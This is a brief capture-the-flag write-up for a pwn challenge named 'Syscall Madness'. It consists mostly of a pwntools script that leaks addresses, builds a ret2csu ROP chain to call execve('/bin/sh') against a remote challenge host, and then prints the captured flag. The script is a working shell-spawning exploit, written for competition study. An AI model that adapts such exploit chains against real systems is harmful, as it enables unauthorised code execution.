Skip to main content

Syscall Madness

  • Technique: Ret2Csu Syscall

Script

from pwn import *

elf = context.binary = ELF('syscall_madness')
rop = ROP(elf)

r = remote("3.1.147.170", 10009)
# r = elf.process()
# r = gdb.debug('./syscall_madness', gdbscript='''break * 0x401178''')

# pad
padding = b'A' * 16
bss = elf.bss() + 0x28
gets = elf.symbols.gets

syscall = 0x401152
ret = next(elf.search(asm('ret')))

# gadgets
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = 0x401299

# ret2csu
pop_chain = 0x401294
reg_call = 0x401278

r.recvuntil(b'flag.txt fd is ')
fd = int(r.recvuntil(b'\n', drop=True).decode(),16)

r.recvuntil(b'&gift :')
gift = int(r.recvuntil(b'\n', drop=True).decode(),16)

read_payload = padding + p64(pop_rdi) + p64(bss) + p64(gets) + p64(pop_chain) + p64(bss) + p64(0) + p64(0x0) + p64(gift) + p64(pop_rax) + p64(59) + p64(reg_call) + p64(ret)

r.sendline(read_payload)
r.sendline(b'/bin/sh\x00')
r.interactive()

Flag

CDDC2024{D0_YOU_KNOW_4B0UT_SYSC4LL?}